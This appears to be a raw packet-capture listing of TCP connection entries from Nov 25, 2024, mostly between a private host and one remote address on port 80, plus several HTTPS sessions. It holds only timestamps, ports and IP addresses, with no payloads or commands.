Nov 25, 2024 18:28:38.997781992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.997889996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.997919083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.998115063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.998774052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.998980045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.999002934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.999063015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.999638081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.999744892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.009685993 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.011820078 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.011840105 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.012489080 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.012500048 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.029711008 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.029771090 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.029994965 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.030231953 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.030261040 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060487986 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060514927 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060524940 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060553074 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060571909 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060602903 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.060617924 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.060647011 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.060935020 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.132872105 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.132942915 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.133065939 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.134273052 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.134273052 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.134289980 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.134300947 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.139122963 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.139151096 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.139228106 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.142076015 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.142093897 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.191833973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.191992998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.191994905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.192055941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.192255974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.192456961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.192527056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.192564011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.192718029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.193475008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.193556070 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.193564892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.193625927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.194442034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.194653034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.194715023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.194766998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.195426941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.195574999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.195605040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.195698023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.196360111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.196480989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.196558952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.197412968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.197499990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.197529078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.198323011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.198354959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.198466063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.198493958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.198698997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.199297905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.199356079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.199430943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.200273991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.200418949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.200419903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.200511932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.201297998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.201309919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.201364040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.202251911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.202436924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.202466011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.203141928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.203198910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.203310966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.203739882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.203852892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.204176903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.204284906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.204317093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.204341888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.205168962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.205210924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.205460072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.206146955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.206252098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.206437111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.206598043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.207098961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.207226992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.207258940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.207287073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.208092928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.208220959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.208242893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.208312035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.209059954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.209181070 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.209237099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.209294081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.210212946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.210303068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.210305929 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.210398912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.211070061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.211133957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.211168051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.212042093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.212163925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.212194920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.212433100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.212980986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.213069916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.213100910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.214066029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.214097977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.214107037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.214133024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.214252949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.214934111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.215056896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.215086937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.215166092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.215903044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.215998888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.216243982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.216912985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.217066050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.217067957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.217195034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.217904091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.217974901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.218005896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.218172073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.218911886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.219099998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.219125032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.219235897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.219814062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.219953060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.219984055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.220786095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.220876932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.220910072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.221127033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.221752882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.221910954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.221930027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.222027063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.222775936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.222811937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.222873926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.223714113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.223828077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.223858118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.224106073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.224699020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.224788904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.224925995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.225650072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.225696087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.225814104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.226643085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.226747990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.226780891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.227592945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.227778912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.227818012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.227929115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.228581905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.228666067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.228694916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.228733063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.229537010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.229615927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.229662895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.229918003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.230524063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.230629921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.230691910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.230751038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.231496096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.231607914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.231668949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.232496023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.232608080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.232621908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.232726097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.233450890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.233584881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.233619928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.233741045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.234489918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.234612942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.234843969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.235409975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.235575914 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.235624075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.235677958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.236377954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.236490011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.236510992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.236619949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.237344027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.237426043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.237528086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.238322020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.238373041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.238455057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.238500118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.239330053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.239409924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.239451885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.240734100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.240859032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.240947008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.240993977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.241852045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.241863012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.241902113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.242569923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.242636919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.242657900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.242702007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.257903099 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:39.258265972 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:39.258280993 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:39.259274006 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:39.259347916 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:39.260452032 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:39.260513067 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:39.279439926 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.279500008 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.279560089 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.279828072 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.279839039 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.279855013 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.279860973 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.282860994 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.282903910 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.283041954 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.283204079 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.283220053 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.286880016 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.286933899 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.286993027 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.287144899 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.287144899 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.287156105 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.287159920 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.288712025 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:39.288945913 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:39.288964987 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:39.289827108 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:39.289897919 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:39.291357040 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:39.291414976 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:39.294106960 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.294143915 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.294210911 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.294627905 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.294640064 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.304559946 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:39.304570913 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:39.339189053 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:39.339201927 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:39.354693890 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:39.386276007 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:39.393373966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.393475056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.393527031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.393577099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.393810034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.393863916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.393963099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.394630909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.394828081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.394989967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.395055056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.395822048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.395864964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.395940065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.395986080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.396817923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.396873951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.396958113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.397041082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.397751093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.397872925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.397891045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.397944927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.398756981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.398812056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.398822069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.398863077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.399708033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.399768114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.399770975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.399812937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.400679111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.400753021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.400773048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.400815010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.420422077 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.420505047 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.420569897 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.420929909 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.420950890 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.420962095 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.420968056 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.427712917 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.427736044 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.427795887 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.427962065 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.427974939 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.451253891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.464251041 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.464267969 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.464291096 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.464325905 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.464380026 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.464412928 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.464442015 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.483969927 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:39.484297037 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:39.484306097 CET	443	49824	18.238.49.74	192.168.2.5
